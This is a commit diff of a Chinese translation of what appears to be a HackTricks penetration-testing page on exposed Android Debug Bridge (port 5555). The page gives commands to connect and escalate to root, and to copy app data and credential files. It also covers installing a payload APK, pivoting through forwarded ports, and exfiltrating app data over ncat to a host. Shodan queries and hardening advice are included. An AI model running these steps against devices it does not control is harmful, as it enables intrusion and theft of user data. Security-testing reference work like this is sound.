Translated ['src/network-services-pentesting/5555-android-debug-bridge.m

This commit is contained in:
Translator 2025-08-19 00:37:59 +00:00
parent ec20e27fd8
commit 87bc86b1de

View File

@ -6,32 +6,141 @@
来自 [the docs](https://developer.android.com/studio/command-line/adb):
**Android Debug Bridge** (adb) 是一个多功能命令行工具允许您与设备进行通信。adb 命令便于执行各种设备操作,例如 **安装和调试应用程序**,并提供 **访问 Unix shell** 的功能,您可以使用它在设备上运行各种命令
Android Debug Bridge (adb) 是一个命令行工具,用于与基于 Android 的设备和模拟器进行通信。典型操作包括安装软件包、调试和获取设备上的交互式 Unix shell
**默认端口**: 5555.
- 历史默认 TCP 端口5555经典的 "adb tcpip" 模式)。
- 现代无线调试Android 11+)使用 TLS 配对和 mDNS 服务发现。连接端口是动态的,通过 mDNS 发现;它可能不是 5555。配对通过 adb pair host:port 然后 adb connect 完成。有关攻击性影响的说明见下文。
示例 nmap 指纹:
```
PORT STATE SERVICE VERSION
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
```
## 连接
如果找到在设备端口运行的 ADB 服务并且可以连接到它,**您可以获得系统内部的 shell**
如果您发现 ADB 被暴露并且可以访问,请尝试快速连接和枚举:
```bash
adb connect 10.10.10.10
adb root # Try to escalate to root
adb shell
adb connect <ip>[:<port>] # Default is 5555 for classic mode
adb devices -l # Confirm it shows as "device" (not unauthorized/offline)
adb shell # Get an interactive shell (uid usually shell)
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT
```
要完全下载应用程序的数据,您可以:
- 如果设备强制执行 ADB 认证 (ro.adb.secure=1),您需要预先授权 (USB RSA 认证) 或使用 Android 11+ 无线调试配对 (这需要在设备上显示的一次性代码)。
- 一些厂商镜像、工程/用户调试版本、模拟器、电视、机顶盒和开发工具包在没有认证或以 root 身份运行 adbd 的情况下暴露 adbd。在这些情况下您通常会直接进入 shell 或 root shell。
有关一般 ADB 命令的参考,请参见:
{{#ref}}
../mobile-pentesting/android-app-pentesting/adb-commands.md
{{#endref}}
## 快速后渗透
一旦您获得 shell验证权限和 SELinux 上下文:
```bash
# From a root console
chmod 777 /data/data/com.package
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
adb pull "/sdcard/com.package"
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint
```
您可以使用此技巧来**检索敏感信息,例如 Chrome 密码**。有关此的更多信息,请查看提供的参考信息[**这里**](https://github.com/carlospolop/hacktricks/issues/274)。
### 枚举和捕获数据
- 列出第三方应用和路径:
```bash
pm list packages -3
pm path <pkg>
```
- 如果你有 root 权限adb root 或 su 有效),你可以直接访问 /data。如果没有建议对可调试的应用使用 run-as
```bash
# 无需 root针对可调试应用
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>
# 有 root 权限
cp -a /data/data/<pkg> /sdcard/<pkg>
exit
adb pull "/sdcard/<pkg>"
```
- 有用的系统文档(需要 root
- /data/system/users/0/accounts.db 和相关的 AccountManager 数据
- /data/misc/wifi/(旧版本上的网络配置/密钥)
- /data/data/<pkg> 下的应用特定 SQLite 数据库和 shared_prefs
你可以用这个来检索敏感信息(例如,应用秘密)。有关 Chrome 数据考虑的说明,请参见 [这里](https://github.com/carlospolop/hacktricks/issues/274) 提到的问题。
### 代码执行和有效载荷传递
- 安装并自动授予运行时权限:
```bash
adb install -r -g payload.apk # -g 授予清单中声明的所有运行时权限
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
```
- 直接启动活动/服务/广播:
```bash
adb shell am start -n <pkg>/<activity>
adb shell am startservice -n <pkg>/<service>
adb shell am broadcast -a <action>
```
### 端口转发和跳板
即使没有 rootadb 也可以将本地端口转发到设备端口,反之亦然。这对于访问绑定在设备上的本地服务或将攻击者服务暴露给设备非常有用。
- 转发主机->设备(从主机访问设备本地服务):
```bash
adb forward tcp:2222 tcp:22 # 如果设备运行 SSH例如Termux/Dropbear
adb forward tcp:8081 tcp:8080 # 暴露应用的本地调试服务器
```
- 反向设备->主机(让设备访问主机上的服务):
```bash
adb reverse tcp:1080 tcp:1080 # 设备应用现在可以将主机:1080 视为 127.0.0.1:1080
```
- 通过套接字进行文件外泄(不写入 sdcard
```bash
# 在主机上:监听
ncat -lvp 9000 > dump.tar
# 在设备上:将目录作为 tar 发送(根据需要使用 root 或 run-as
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000
```
## 无线调试Android 11+
现代 Android 实现了带有设备端配对和 mDNS 发现的 TLS 保护无线调试:
```bash
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
# On attacker host (same L2 network, mDNS allowed):
adb pair <device_ip>:<pair_port> # Enter the 6-digit code shown on device
adb mdns services # Discover _adb-tls-connect._tcp / _adb._tcp services
adb connect <device_ip>:<conn_port>
```
笔记
- 端口是动态的;不要假设为 5555。mDNS 服务名称如下:
- _adb-tls-pairing._tcp (配对)
- _adb-tls-connect._tcp (已配对连接)
- _adb._tcp (传统/明文)
- 如果 mDNS 被过滤,经典的 USB 辅助启用在某些版本上仍然有效:`adb tcpip 5555` 然后 `adb connect <ip>:5555`(直到重启)。
攻击性影响:如果您可以与设备 UI 交互(例如,物理访问或移动 MDM 配置错误)以启用无线调试并查看配对代码,则可以在没有电缆的情况下建立一个长期配对的 ADB 通道。一些 OEM 在工程/开发镜像中暴露 ADB 通过 TCP 而无需配对——始终检查。
## 加固 / 检测
防御者应假设任何可达的 adbd (TCP) 都是关键风险。
- 在不需要时禁用 ADB 和无线调试。在开发者选项中撤销 USB 调试授权。
- 确保网络策略阻止不受信任段的入站 TCP/5555 和基于 mDNS 的 ADB 发现。
- 在您控制的设备上:
```bash
settings put global adb_enabled 0
setprop service.adb.tcp.port -1 # 禁用 TCP 监听或使用adb usb
stop adbd; start adbd # 重启守护进程
```
- 监控公司网络上的 mDNS 记录 `_adb._tcp``_adb-tls-connect._tcp``_adb-tls-pairing._tcp`,并对意外的 5555 监听器发出警报。
- 清点不安全的构建:`getprop ro.debuggable``ro.build.type``ro.adb.secure`
## Shodan
- `android debug bridge`
- android debug bridge
- port:5555 product:"Android Debug Bridge"
## 参考
- Android Developers Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
- AOSP ADB over WiFi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md
{{#include ../banners/hacktricks-training.md}}